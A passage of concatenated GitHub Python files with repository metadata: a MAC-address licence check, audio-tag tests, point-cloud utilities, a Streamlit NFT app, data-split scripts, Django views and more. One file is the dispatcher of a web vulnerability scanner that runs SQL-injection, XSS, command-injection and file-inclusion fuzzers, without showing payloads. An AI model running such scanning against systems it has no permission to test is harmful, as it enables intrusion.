self.ui.setupUi(self)\n self.setWindowTitle(\"Authenticating\")\n self.main_app = MyApp(self)\n self.thread = AuthThread()\n self.thread.auth_complete.connect(self.auth_check)\n self.thread.finished.connect(self.thread.deleteLater)\n self.thread.start()\n\n def auth_check(self, auth_success):\n if auth_success:\n self.accept()\n self.main_app.show()\n self.thread.deleteLater()\n else:\n self.ui.label.setText(\"You're not authenticated!\")\n\n\nclass AuthThread(QThread):\n auth_complete = Signal(bool)\n finished = Signal()\n\n def run(self):\n mac_address = gma()\n is_done, item_key = is_valid_user_higher(mac_address)\n if is_done:\n update_time(\"usersv4\", item_key)\n else:\n insert_log_data()\n self.auth_complete.emit(is_done)\n self.finished.emit()\n\n\nif __name__ == '__main__':\n application_path = None\n if getattr(sys, 'frozen', False):\n application_path = os.path.dirname(os.path.abspath(sys.executable))\n elif __file__:\n application_path = os.path.dirname(os.path.abspath(__file__))\n app = QApplication(sys.argv)\n # window = MyApp()\n window = AuthenticationDialog()\n window.show()\n sys.exit(app.exec())","repo_name":"andrey13771/mercaritoolEN-backup","sub_path":"main_with_mac.py","file_name":"main_with_mac.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30173843866","text":"import os\nimport shutil\nfrom tempfile import mkstemp\n\nfrom mutagen._compat import BytesIO\nfrom mutagen.oggopus import OggOpus, OggOpusInfo, delete\nfrom mutagen.ogg import OggPage\nfrom tests import TestCase\nfrom tests.test_ogg import TOggFileTypeMixin\n\n\nclass TOggOpus(TestCase, TOggFileTypeMixin):\n Kind = OggOpus\n\n def setUp(self):\n original = os.path.join(\"tests\", \"data\", \"example.opus\")\n fd, self.filename = mkstemp(suffix='.opus')\n os.close(fd)\n shutil.copy(original, self.filename)\n self.audio = self.Kind(self.filename)\n\n def tearDown(self):\n os.unlink(self.filename)\n\n def test_length(self):\n self.failUnlessAlmostEqual(self.audio.info.length, 11.35, 2)\n\n def test_misc(self):\n self.failUnlessEqual(self.audio.info.channels, 1)\n self.failUnless(self.audio.tags.vendor.startswith(\"libopus\"))\n\n def test_module_delete(self):\n delete(self.filename)\n self.scan_file()\n self.failIf(self.Kind(self.filename).tags)\n\n def test_mime(self):\n self.failUnless(\"audio/ogg\" in self.audio.mime)\n self.failUnless(\"audio/ogg; codecs=opus\" in self.audio.mime)\n\n def test_invalid_not_first(self):\n page = OggPage(open(self.filename, \"rb\"))\n page.first = False\n self.failUnlessRaises(IOError, OggOpusInfo, BytesIO(page.write()))\n\n def test_unsupported_version(self):\n page = OggPage(open(self.filename, \"rb\"))\n data = bytearray(page.packets[0])\n\n data[8] = 0x03\n page.packets[0] = bytes(data)\n OggOpusInfo(BytesIO(page.write()))\n\n data[8] = 0x10\n page.packets[0] = bytes(data)\n self.failUnlessRaises(IOError, OggOpusInfo, BytesIO(page.write()))\n\n def test_preserve_non_padding(self):\n self.audio[\"FOO\"] = [\"BAR\"]\n self.audio.save()\n\n extra_data = b\"\\xde\\xad\\xbe\\xef\"\n\n with open(self.filename, \"r+b\") as fobj:\n OggPage(fobj) # header\n page = OggPage(fobj)\n data = OggPage.to_packets([page])[0]\n data = data.rstrip(b\"\\x00\") + b\"\\x01\" + extra_data\n new_pages = OggPage.from_packets([data], page.sequence)\n OggPage.replace(fobj, [page], new_pages)\n\n OggOpus(self.filename).save()\n\n with open(self.filename, \"rb\") as fobj:\n OggPage(fobj) # header\n page = OggPage(fobj)\n data = OggPage.to_packets([page])[0]\n self.assertTrue(data.endswith(b\"\\x01\" + extra_data))\n","repo_name":"dhamaniasad/mutagen","sub_path":"tests/test_oggopus.py","file_name":"test_oggopus.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"13433395450","text":"# -*- coding: utf-8 -*-\n\n\nfrom urllib.parse import urljoin, urlsplit, parse_qsl\nimport getopt\nimport re\nfrom core.scan.base_scanner import BaseScanner, ScannerThread\nfrom core.scan.fuzzers.sqli_blind import Sqli_blind\nfrom core.scan.fuzzers.sqli_error import Sqli_error\nfrom core.scan.fuzzers.xss_reflected import XssReflected\nfrom core.scan.fuzzers.cmdinjection import Cmdinjection\nfrom core.scan.fuzzers.fileinclude import Fileinclude\n\n\nclass Native(BaseScanner):\n\n\tdef init(self, argv):\n\t\tself.fuzzers = ['sqli_blind', 'sqli_error', 'xss_reflected', 'cmdinjection', 'fileinclude']\n\t\tself.enabled_fuzzers = self.fuzzers\n\t\tself.vulns = []\n\t\tself.tmp =0\n\n\t\ttry:\n\t\t\topts, args = getopt.getopt(argv, 'hf:')\n\t\texcept getopt.GetoptError as err:\n\t\t\tprint(str(err))\n\t\t\tself.exit(1)\n\n\t\tfor o, v in opts:\n\t\t\tif o == '-h':\n\t\t\t\tprint(self.usage())\n\t\t\t\tself.exit(0)\n\t\t\telif o == '-f':\n\t\t\t\tself.enabled_fuzzers = v.split(\",\")\n\n\n\tdef usage(self):\n\t\treturn (\t\"Options are:\\n\"\n\t\t\t\t\" -h this help\\n\"\n\t\t\t\t\" -f comma-separated list of enabled fuzzers\\n\"\n\t\t\t)\n\n\tdef add_vulns(self, vulns):\n\t\tself.lock.acquire()\n\t\tself.vulns.extend(vulns)\n\t\tself.lock.release()\n\n\n\tdef end(self):\n\t\tprint((\"\\nTot vulnerabilities: %d (not vuln: %d)\" % (len(self.vulns), self.tmp)))\n\t\tpass\n\n\n\tdef get_settings(self):\n\t\treturn dict(\n\t\t\trequest_types = \"form,link,redirect,xhr,fetch\",\n\t\t\tnum_threads = 10\n\t\t)\n\n\tclass Scan(ScannerThread):\n\n\t\tdef run(self):\n\t\t\trequest = self.request\n\t\t\tvulns = []\n\t\t\tif self.is_request_duplicated():\n\t\t\t\treturn False\n\n\t\t\tself.sprint(\"Scanning %s %s\" % (request.method, request.url))\n\n\t\t\tif 'sqli_error' in self.scanner.enabled_fuzzers:\n\t\t\t\tfuzzer = Sqli_error(self)\n\t\t\t\tvulnerabilities = fuzzer.fuzz()\n\t\t\t\tself.save_vulnerabilities([{\"type\":'sqli_error',\"description\": v} for v in vulnerabilities])\n\n\t\t\t\tvulns.extend(vulnerabilities)\n\n\t\t\tif 'sqli_blind' in self.scanner.enabled_fuzzers:\n\t\t\t\tfuzzer = Sqli_blind(self)\n\t\t\t\tvulnerabilities = fuzzer.fuzz()\n\t\t\t\tself.save_vulnerabilities([{\"type\":'sqli_blind',\"description\": v} for v in vulnerabilities])\n\t\t\t\tvulns.extend(vulnerabilities)\n\n\t\t\tif 'xss_reflected' in self.scanner.enabled_fuzzers:\n\t\t\t\t#self.sprint(\" check for reflected xss\")\n\t\t\t\tfuzzer = XssReflected(self)\n\t\t\t\tvulnerabilities = fuzzer.fuzz()\n\t\t\t\tself.save_vulnerabilities([{\"type\":'xss_reflected',\"description\": v} for v in vulnerabilities])\n\t\t\t\tvulns.extend(vulnerabilities)\n\n\t\t\tif 'fileinclude' in self.scanner.enabled_fuzzers:\n\t\t\t\t#self.sprint(\" check for fileinclude\")\n\t\t\t\tfuzzer = Fileinclude(self)\n\t\t\t\tvulnerabilities = fuzzer.fuzz()\n\t\t\t\tself.save_vulnerabilities([{\"type\":'fileinclude',\"description\": v} for v in vulnerabilities])\n\t\t\t\tvulns.extend(vulnerabilities)\n\n\t\t\tif len(vulns) > 0:\n\t\t\t\tparent = self.scanner.db(\"get_request\", [request.parent_db_id])\n\t\t\t\tself.sprint(\"%s contains vulnerable request: %s\" % (parent.url if parent else \"/\", request))\n\t\t\t\tself.sprint(\"\\033[31m%s %s %s\\033[0m\" % (request.method, request.url, request.data))\n\t\t\t\tfor v in vulns:\n\t\t\t\t\tself.sprint(\" %s\" % v)\n\t\t\t\tself.sprint(\"-\"*32)\n\t\t\telse:\n\t\t\t\tself.scanner.tmp += 1\n\t\t\tself.scanner.add_vulns(vulns)\n","repo_name":"fcavallarin/htcap","sub_path":"core/scan/scanners/native.py","file_name":"native.py","file_ext":"py","file_size_in_byte":3104,"program_lang":"python","lang":"en","doc_type":"code","stars":602,"dataset":"github-code","pt":"37"} +{"seq_id":"27557267508","text":"# import torch\nimport torch\n\ndef square_distance(src, dst):\n # get shapes\n (B, N, _), (_, M, _) = src.shape, dst.shape\n # compute distace from each src-point to each dst-point\n dist = -2 * torch.matmul(src, dst.permute(0, 2, 1))\n dist += torch.sum(src ** 2, -1).view(B, N, 1)\n dist += torch.sum(dst ** 2, -1).view(B, 1, M)\n return dist\n\n\ndef farthest_point_sample(npoint, points):\n # get device and shape of given data\n device, (B, N, _) = points.device, points.shape\n # create tensors\n centroids = torch.zeros(B, npoint, dtype=torch.long).to(device)\n distance = torch.ones(B, N).to(device) * 1e10\n farthest = torch.randint(0, N, (B,), dtype=torch.long).to(device)\n # others\n batch_indices = torch.arange(B, dtype=torch.long).to(device)\n # sample by maximum distance\n for i in range(npoint):\n # set centroid to farthest point\n centroids[:, i] = farthest\n # compute distance\n centroid = points[batch_indices, farthest, :].view(B, 1, -1)\n dist = torch.sum((points - centroid) ** 2, -1)\n # update distances to closest cetroid\n mask = dist < distance \n distance[mask] = dist[mask]\n # get next farthest point\n farthest = torch.max(distance, -1)[1]\n \n return centroids\n\n\ndef query_ball_point(radius, centroids, points, nsample):\n # get decvice and dimensions\n device, (B, N, C), (_, S, _) = points.device, points.shape, centroids.shape\n # create initial grouping\n group_idx = torch.arange(N, dtype=torch.long).to(device).view(1, 1, N).repeat([B, S, 1])\n \n # compute distances from each centroid to each point\n sqrdists = square_distance(centroids, points)\n # group all points with bigger radius than maximum\n group_idx[sqrdists > radius ** 2] = N - 1\n # group by distance\n group_idx = group_idx.sort(dim=-1)[0][:, :, :nsample]\n group_first = group_idx[:, :, 0].view(B, S, 1).repeat([1, 1, nsample])\n # apply grouping\n mask = group_idx == N - 1\n group_idx[mask] = group_first[mask]\n return group_idx\n\n\ndef sample_and_group(points, feats, n_clusters, radius, n_sample, returnfps=False):\n\n points = points.transpose(1, 2)\n # get shape\n device, (B, N, C) = points.device, points.shape\n # others\n batch_indices = torch.arange(B, dtype=torch.long).to(device)\n # sample centroids\n centroid_idx = farthest_point_sample(n_clusters, points)\n centroids = points[batch_indices.unsqueeze(-1), centroid_idx]\n # group points\n idx = query_ball_point(radius, centroids, points, n_sample)\n grouped_points = points.unsqueeze(1)[batch_indices.view(-1, 1, 1), [0], idx]\n # set group origin to be centroid\n y = grouped_points - centroids.view(B, n_clusters, 1, C)\n # concatenate with features\n if feats.size(1) > 0:\n feats = feats.transpose(1, 2)\n grouped_feats = feats.unsqueeze(1)[batch_indices.view(-1, 1, 1), [0], idx]\n y = torch.cat([y, grouped_feats], dim=-1)\n # return \n if returnfps:\n return centroids, y, grouped_points, centroid_idx\n else:\n return centroids, y\n\n\ndef interpolate(y_points, x_points, y_feats, x_feats):\n # transpose\n y_points, x_points = y_points.transpose(1, 2), x_points.transpose(1, 2)\n # get device and dimensions\n device, (B, N, dim), = x_points.device, x_points.shape\n batch_indices = torch.arange(B, dtype=torch.long).to(device)\n # compute distances and ignore distances of 0\n D = square_distance(x_points, y_points)\n D += 1e-10 # D[D == 0] = float('inf')\n # sort distances to interpolate from the closest\n D, idx = D.sort(dim=-1)\n # get interpolation points\n D, idx = D[:, :, :dim], idx[:, :, :dim]\n # compute interploation weights\n weight = 1.0 / D\n weight = weight / weight.sum(dim=-1).view(B, N, 1)\n # compute interpolation points\n i_points = y_feats.transpose(1, 2).unsqueeze(1)[batch_indices.view(-1, 1, 1), [0], idx]\n i_points = (i_points * weight.unsqueeze(-1)).sum(dim=2)\n # concatenate with x-feats\n i_points = torch.cat([x_feats.transpose(1, 2), i_points], dim=-1)\n # return\n return i_points\n\n\n# *** SCRIPT ***\n\nif __name__ == '__main__':\n\n import numpy as np\n\n # create random points\n a = np.random.randint(0, 9, size=(1, 50, 2))\n a = torch.from_numpy(a).float()\n \n sample_and_group(a, 5, 3, 7, dim=2)\n","repo_name":"ndoll1998/Pointnet4Berries","sub_path":"Pointnet/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13512771965","text":"import os\nimport json\nfrom web3 import Web3\nfrom pathlib import Path\nfrom dotenv import load_dotenv\nimport streamlit as st\nimport validators\n\nload_dotenv()\n\n# Define and connect a new Web3 provider\nw3 = Web3(Web3.HTTPProvider(os.getenv(\"WEB3_PROVIDER_URI\")))\n\n################################################################################\n# The Load_Contract Function\n################################################################################\n\n\n@st.cache(allow_output_mutation=True)\ndef load_contract():\n\n # Load the contract ABI\n with open(Path('./contracts/compiled/artwork_abi.json')) as f:\n artwork_abi = json.load(f)\n\n contract_address = os.getenv(\"SMART_CONTRACT_ADDRESS\")\n\n # Load the contract\n contract = w3.eth.contract(\n address=contract_address,\n abi=artwork_abi\n )\n\n return contract\n\ncontract = load_contract()\n\n\n################################################################################\n# Register New Artwork\n################################################################################\nst.title(\"Register New Artwork\")\naccounts = w3.eth.accounts\n\n# Use a Streamlit component to get the address of the artwork owner from the user\naddress = st.selectbox(\"Select Artwork Owner\", options=accounts)\n\n# Use a Streamlit component to get the artwork's URI\nartwork_uri = st.text_input(\"The URI to the artwork\")\n\nif st.button(\"Register Artwork\"):\n\n # Use the contract to send a transaction to the registerArtwork function\n tx_hash = contract.functions.registerArtwork(\n address,\n artwork_uri\n ).transact({'from': address, 'gas': 1000000})\n receipt = w3.eth.waitForTransactionReceipt(tx_hash)\n st.write(\"Transaction receipt mined:\")\n st.write(dict(receipt))\n\nst.markdown(\"---\")\n\n\n################################################################################\n# Display a Token\n################################################################################\nst.markdown(\"## Check Balance of an Account\")\n\nselected_address = st.selectbox(\"Select Account\", options=accounts)\n\ntokens = contract.functions.balanceOf(selected_address).call()\n\nst.write(f\"This address owns {tokens} tokens\")\n\nst.markdown(\"## Check Ownership and Display Token\")\n\ntotal_token_supply = contract.functions.totalSupply().call()\n\ntoken_id = st.selectbox(\"Artwork Tokens\", list(range(total_token_supply)))\n\nif st.button(\"Display\"):\n\n # Get the art token owner\n owner = contract.functions.ownerOf(token_id).call()\n \n st.write(f\"The token is registered to {owner}\")\n\n # Get the art token's URI\n token_uri = contract.functions.tokenURI(token_id).call()\n\n st.write(f\"The tokenURI is: {token_uri}\")\n \n if validators.url(token_uri):\n print(f\"Valid URL: {token_uri}\")\n st.image(token_uri)\n \n\n","repo_name":"juil/fintech-uoftbootcamp","sub_path":"22-dApps/class1/Activities/04-Evr_Mint_Condition_Artwork_Full/Solved/ArtToken/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2797,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"39223775898","text":"import tkinter as tk\n\n\nclass Button:\n\n def __init__(self):\n pass\n\n @staticmethod\n def insert_button(frame, controller, text: str, frame_name: str, overridden_command=False) -> tk.Button:\n if overridden_command:\n button = tk.Button(\n frame, text=text,\n command=lambda: frame.overridden_command(),\n font=controller.button_font,\n background=controller.font_color,\n pady=controller.small_button_pad,\n padx=controller.small_button_pad,\n width=controller.button_width\n )\n button.pack()\n return button\n else:\n button = tk.Button(\n frame, text=text,\n command=lambda: controller.show_frame(frame_name),\n font=controller.button_font,\n background=controller.font_color,\n pady=controller.small_button_pad,\n padx=controller.small_button_pad,\n width=controller.button_width\n )\n button.pack()\n return button\n","repo_name":"vdhazevedo/jogo-python","sub_path":"view/button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31128161653","text":"from sensor.exception import SensorException\nfrom sensor.logger import logging\nimport os,sys\nimport yaml\nimport numpy as np\nimport dill\n\ndef read_yaml_file(file_path:str) -> dict:\n try:\n logging.info(f\"Reading yaml file from {file_path}\")\n with open(file_path,'rb') as yaml_file:\n return yaml.safe_load(yaml_file)\n except Exception as e:\n raise SensorException(e,sys) from e\n \n\ndef write_yaml_file(file_path: str,content: object, replace: bool =False) -> None:\n try:\n logging.info(f\" writing data inside the file path : {file_path}\")\n if replace:\n if os.path.exists(file_path):\n os.remove(file_path)\n os.makedirs(os.path.dirname(file_path),exist_ok=True)\n with open(file_path,'w') as file:\n yaml.dump(content,file)\n \n except Exception as e:\n raise SensorException(e,sys) from e\n \n \ndef save_numpy_array_data(file_path: str,array: np.array):\n '''\n saves numpy array data into file\n \n file_path : str location of file\n array : np.array data to save in the file\n '''\n try:\n logging.info(f\" saving numpy array data \")\n dir_path=os.path.dirname(file_path)\n os.makedirs(dir_path,exist_ok=True)\n with open(file_path,\"wb\") as file_obj:\n np.save(file_obj,array)\n logging.info(f\" numpy array data saved at file_path {file_path}\")\n except Exception as e:\n raise SensorException(e,sys) from e\n \n \ndef load_numpy_array_data(file_path: str) ->np.array:\n '''\n loads numpy array data from file\n file_path : str location of file to be\n return : np.array data \n '''\n try:\n logging.info(f\" loading the numpy array data from {file_path}\")\n with open(file_path,\"rb\") as file_obj:\n return np.load(file_obj)\n except Exception as e:\n raise SensorException(e,sys) from e\n \ndef save_object(file_path: str, obj: object) -> None:\n '''\n save object as file\n '''\n try:\n logging.info(f\" saving object at file_path : {file_path}\")\n os.makedirs(os.path.dirname(file_path),exist_ok=True)\n with open(file_path,'wb') as file_obj:\n dill.dump(obj,file_obj)\n except Exception as e:\n raise SensorException(e,sys) from e\n \ndef load_object(file_path: str) ->object:\n '''\n load object from given file path\n returns : object\n '''\n try:\n logging.info(f\" loading object from file_path : {file_path}\")\n if not os.path.exists(file_path):\n raise Exception(f\" file path {file_path} doesn't exists\")\n with open(file_path,'rb') as file_obj:\n return dill.load(file_obj)\n except Exception as e:\n raise SensorException(e,sys) from e\n","repo_name":"Sahulinkan7/sensor-fault-detection","sub_path":"sensor/utils/main_utils.py","file_name":"main_utils.py","file_ext":"py","file_size_in_byte":2779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11493553219","text":"import os\nimport shutil\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import KFold, StratifiedKFold\nfrom sklearn.model_selection import train_test_split\n\n\"\"\"\nUtilities for the actual corpus creation.\n\"\"\"\n\n\ndef create_labels(df):\n df_minuses = df.fillna(-1)\n # df_minuses.loc[df[\"PreCI_dichotomous_T0\"] == -1, \"PreCI_dichotomous_T0\"] = 0\n # mean_age = df[\"Alter\"].mean()\n return [ # (df_minuses.iloc[idx][\"Alter\"] < mean_age).astype(int).astype(str) +\n # df_minuses.iloc[idx][\"sex\"].astype(int).astype(str) +\n df_minuses.iloc[idx][\"POD\"].astype(int).astype(str) +\n df_minuses.iloc[idx][\"POCD\"].astype(int).astype(str) # +\n # df_minuses.iloc[idx][\"PreCI_dichotomous_T0\"].astype(int).astype(str)\n # PreCI_dichotomous_T0\n for idx in range(len(df))]\n\n\ndef create_balanced_split(df, dev_fraction=0.8, hard_threshold=0.3, soft_threshold=0.2,\n num_allowed=2, random_state=None):\n eval_fraction = 1 - dev_fraction\n print(\"Dev/Train size: \", int(dev_fraction * len(df)), \"Test/Val size: \", int(eval_fraction * len(df)))\n count = 0\n outliers = num_allowed + 1\n max_diff = hard_threshold + 1\n while outliers > num_allowed or max_diff > hard_threshold:\n # Create split:\n indices = np.arange(len(df))\n labels = create_labels(df)\n dev_data, test_data, dev_idcs, test_idcs = train_test_split(df, indices, test_size=eval_fraction,\n stratify=labels, random_state=random_state)\n # Test if split is good enough:\n diffs = np.array([0])\n # np.array(np.abs(test_data.mean(axis=0) - dev_data.mean(axis=0))) / np.abs(dev_data.mean(axis=0))\n max_diff = max(diffs)\n # print(\"test\", test_data.mean(axis=0), \"dev\", dev_data.mean(axis=0))\n # print(\"first: \", np.abs(test_data.mean(axis=0) - dev_data.mean(axis=0)))\n # print(test_data.mean().mean(), dev_data.mean().mean(), df.mean().mean())\n # print(list(np.round(diffs[diffs > soft_threshold], 2)))\n # print(names[diffs > soft_threshold])\n # print(\"Mean train data: \\n\", dev_data.mean(), \"Mean test data: \\n\", test_data.mean())\n # print(\"Mean deviation: \", np.mean(diffs), \"Max deviation:\", max_diff)\n outliers = (diffs > soft_threshold).sum()\n count += 1\n if count == 100:\n raise StopIteration(\"Can't find balanced split\")\n print(\"Num outliers: \", outliers)\n print()\n return dev_idcs, test_idcs\n\n\ndef get_k_fold_indices(train_data, k):\n \"\"\"Creates a stratified k-fold partition and returns the indices of the evaluation partition\"\"\"\n if len(train_data) == k:\n kf = KFold(n_splits=k)\n splits = kf.split(train_data)\n\n else:\n train_labels = create_labels(train_data)\n skf = StratifiedKFold(n_splits=k, shuffle=True)\n splits = skf.split(train_data, train_labels)\n # Select only validation indices, the others are redundant\n splits = [split[1] for split in splits]\n return splits\n\n\ndef _create_and_store_k_fold(dev_df, k, path):\n if k == \"leave_one_out\":\n k = len(dev_df)\n folder_name = \"leave_one_out/\"\n else:\n folder_name = str(k) + \"_folds/\"\n splits = get_k_fold_indices(dev_df, k)\n # Create k-fold directory\n split_path = os.path.join(path, folder_name)\n os.makedirs(split_path, exist_ok=True)\n # Store eval indices per fold\n for idx, split in enumerate(splits):\n np.save(split_path + str(idx), split)\n\n\ndef create_trainval_splits_and_save(dev_df, path):\n # Apply and store train and validation indices\n train_idcs, val_idcs = create_balanced_split(dev_df)\n np.save(os.path.join(path, \"train_idcs\"), train_idcs)\n np.save(os.path.join(path, \"val_idcs\"), val_idcs)\n\n # Apply and store k-fold\n for k in [2, 3, 4, 5, 10, \"leave_one_out\"]:\n _create_and_store_k_fold(dev_df, k, path)\n\n\ndef create_devtest_splits_and_save(df, path):\n # Create and store dev & test set idcs\n dev_idcs, test_idcs = create_balanced_split(df)\n np.save(os.path.join(path, \"dev_idcs\"), dev_idcs)\n np.save(os.path.join(path, \"test_idcs\"), test_idcs)\n return dev_idcs, test_idcs\n\n\ndef store_df(df, path):\n \"\"\"Stores a fully processed df (filled NANs etc.)\"\"\"\n print(f\"Storing data to {path}.\\n\")\n\n #assert df.isna().to_numpy().sum() == 0\n\n pd.to_pickle(df, os.path.join(path, \"df.pkl\"))\n\n name_list_dir = os.path.join(\"src\", \"preprocess_utils\", \"feature_lists\", \"name_lists\")\n for name_list in os.listdir(name_list_dir):\n shutil.copy(os.path.join(name_list_dir, name_list), os.path.join(path, name_list))\n","repo_name":"adalab-ai/POD_prediction","sub_path":"src/preprocess_utils/create_corpus_utils.py","file_name":"create_corpus_utils.py","file_ext":"py","file_size_in_byte":4707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24071016652","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nfrom scipy.stats import linregress\nimport numpy as np\n\ndef draw_plot():\n # Read data from file\n df = pd.read_csv(\"epa-sea-level.csv\", float_precision='legacy')\n\n\n # Create scatter plot\n ax1 = df.plot.scatter(x='Year',\n y='CSIRO Adjusted Sea Level')\n\n\n # Create first line of best fit\n slope, intercept, r_value, p_value, std_err = linregress(df['Year'], df['CSIRO Adjusted Sea Level'])\n plt.scatter(df['Year'], df['CSIRO Adjusted Sea Level'])\n line_x = np.arange(df['Year'].min(), 2050)\n line_y = slope*line_x + intercept\n plt.plot(line_x, line_y, 'r')\n\n # Create second line of best fit\n df_2000 = df[df[\"Year\"] >= 2000]\n slope, intercept, r_value, p_value, std_err = linregress(df_2000['Year'], df_2000['CSIRO Adjusted Sea Level'])\n plt.scatter(df_2000['Year'], df_2000['CSIRO Adjusted Sea Level'])\n line_x = np.arange(df_2000['Year'].min(), 2050)\n line_y = slope*line_x + intercept\n plt.plot(line_x, line_y, 'r')\n\n\n\n # Add labels and title\n plt.xlabel(\"Year\")\n plt.ylabel(\"Sea Level (inches)\")\n plt.title(\"Rise in Sea Level\")\n\n \n # Save plot and return data for testing (DO NOT MODIFY)\n plt.savefig('sea_level_plot.png')\n return plt.gca()","repo_name":"elliele/sea-level-calculator","sub_path":"sea_level_predictor.py","file_name":"sea_level_predictor.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7363814107","text":"from flask import Flask, render_template,request, url_for, flash, redirect\n\napp = Flask(__name__)\n\n@app.route(\"/\", methods=('GET', 'POST'))\ndef main():\n if request.method == 'POST':\n query = request.form['query']\n answer = generateAnswer(query)\n return render_template('dashboard.html',answer=answer)\n else:\n return render_template('home.html')\n","repo_name":"drishtipeshwani/SchlumbergerHackathon","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42066661980","text":"import dlib\nimport glob\nimport sys\nimport os\nimport pdb\n\ndetector = dlib.simple_object_detector(\"/Applications/dlib-master/tools/imglab/build/detector.svm\")\n\nf1 = \"/Applications/CS 239/semi-supervised-CycleGAN-master/original/120_original.png\"\nimg = dlib.load_rgb_image(f1)\ndets = detector(img)\nwin = dlib.image_window()\nwin.clear_overlay()\nwin.set_image(img)\nwin.add_overlay(dets)\n\npdb.set_trace()\nf1 = \"/Applications/CS 239/semi-supervised-CycleGAN-master/transformed/121_transformed.png\"\nimg = dlib.load_rgb_image(f1)\ndets = detector(img)\nwin = dlib.image_window()\nwin.clear_overlay()\nwin.set_image(img)\nwin.add_overlay(dets)\n\npdb.set_trace()\noriginal = \"/Applications/CS 239/semi-supervised-CycleGAN-master/original/\"\ntransformed = \"/Applications/CS 239/semi-supervised-CycleGAN-master/transformed/\"\no_list = os.listdir(original)\nt_list = os.listdir(transformed)\n\no_list.sort()\nt_list.sort()\ninconsistent_behaviors = 0\nfor i in range(len(o_list)):\n f1 = o_list[i]\n img = dlib.load_rgb_image(original + f1)\n dets1 = detector(img)\n f2 = t_list[i]\n img = dlib.load_rgb_image(transformed + f2)\n dets2 = detector(img)\n if(len(dets1)!=len(dets2)):\n inconsistent_behaviors = inconsistent_behaviors + 1\n\nprint(\"Number of inconsistent behaviors: \" + str(inconsistent_behaviors))","repo_name":"pooja-j-n/CS239_GAN-Based-Testing-of-Face-Detection-Systems","sub_path":"face_detection_test.py","file_name":"face_detection_test.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"46100142128","text":"from collections import defaultdict\n\nfrom django.core.exceptions import ValidationError\n\nfrom utils.django_forms import is_positive_number\n\n\n# essa classe é responsável por validar o form para os exercícios\nclass ExerciseValidator:\n def __init__(self, data, errors=None, ErrorClass=None) -> None:\n self.errors = defaultdict(list) if errors is None else errors\n self.ErrorClass = ValidationError if ErrorClass is None else ErrorClass\n self.data = data\n self.clean()\n\n def validate_min_length(self, field_name, field_value, min_length):\n if field_value:\n if len(field_value) < min_length:\n error_message = f'Digite ao menos {min_length} Caracteres.'\n self.errors[field_name].append(error_message)\n\n def clean(self, *args, **kwargs):\n cleaned_data = self.data\n title = cleaned_data.get('title')\n description = cleaned_data.get('description')\n series = cleaned_data.get('series')\n reps = cleaned_data.get('reps')\n categories = cleaned_data.get('categories')\n\n # validando se a descrição não é igual ao titulo\n if title == description:\n self.errors['title'].append(\n 'Não pode ser igual a Descrição.'\n )\n self.errors['description'].append(\n 'Não pode ser igual ao Título.'\n )\n\n self.validate_min_length( # validando tamanho do titulo\n field_name='title', field_value=title, min_length=5\n )\n\n self.validate_min_length( # validando tamanho da descricao\n field_name='description', field_value=description, min_length=5\n )\n\n # validando números de reps e series\n if not is_positive_number(series):\n self.errors['series'].append(\n 'Digite um número inteiro maior que zero.'\n )\n\n if not is_positive_number(reps):\n self.errors['reps'].append(\n 'Digite um número inteiro maior que zero.'\n )\n\n # validando categorias\n if not categories:\n self.errors['categories'].append(\n 'Escolha ao menos uma categoria.'\n )\n\n if self.errors:\n raise self.ErrorClass(self.errors)\n","repo_name":"bryanoliveira11/Projeto-NattyOrNot","sub_path":"training/validators.py","file_name":"validators.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17467709661","text":"from datetime import date\nfrom django.shortcuts import render, get_object_or_404\nfrom django.urls import reverse, reverse_lazy\n\nfrom .models import Tournament, Game, Comment, Stadium, Team, Poule, Round\n\nfrom django.views import generic\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.db.models import Q\nimport json\nimport math\n\n\n#Base index view which displays all the tournaments in the database\nclass IndexView(generic.ListView):\n template_name = 'FinalWhistle/index.html'\n context_object_name = 'tournament_list'\n\n def get_queryset(self):\n \"\"\"Return all the tournaments\"\"\"\n return Tournament.objects.order_by('name')\n\n\n#Methode pour creer un match de Round avec les qualifies du Round precedent, qui n'est pas une poule\ndef create_match_from_round(nbr_matchs, previous_round, current_round):\n for j in range(0, nbr_matchs*2, 2):\n print(previous_round.next_qualified())\n team1 = previous_round.next_qualified()[j]\n team2 = previous_round.next_qualified()[j+1]\n game =Game(home_team=team1, away_team=team2,round = current_round)\n game.save()\n print(game)\n current_round.round_filled=1\n current_round.save()\n \n#Methode pour creer un match de Round avec les qualifies d'une poule\ndef create_match_from_poule(tournoi, round):\n team1 = []\n team2 = []\n for poule in sorted(tournoi.poule_set.all(), key = lambda poule : poule.number):\n team1.append(poule.classement()[0])\n team2.append(poule.classement()[1])\n for i in range(0,len(team1), 2):\n Game(home_team=team1[i], away_team=team2[i+1],round = round).save()\n Game(home_team=team1[i+1], away_team=team2[i],round = round).save()\n round.round_filled=1\n round.save()\n \ndef TournamentTree(tournoi_id):\n 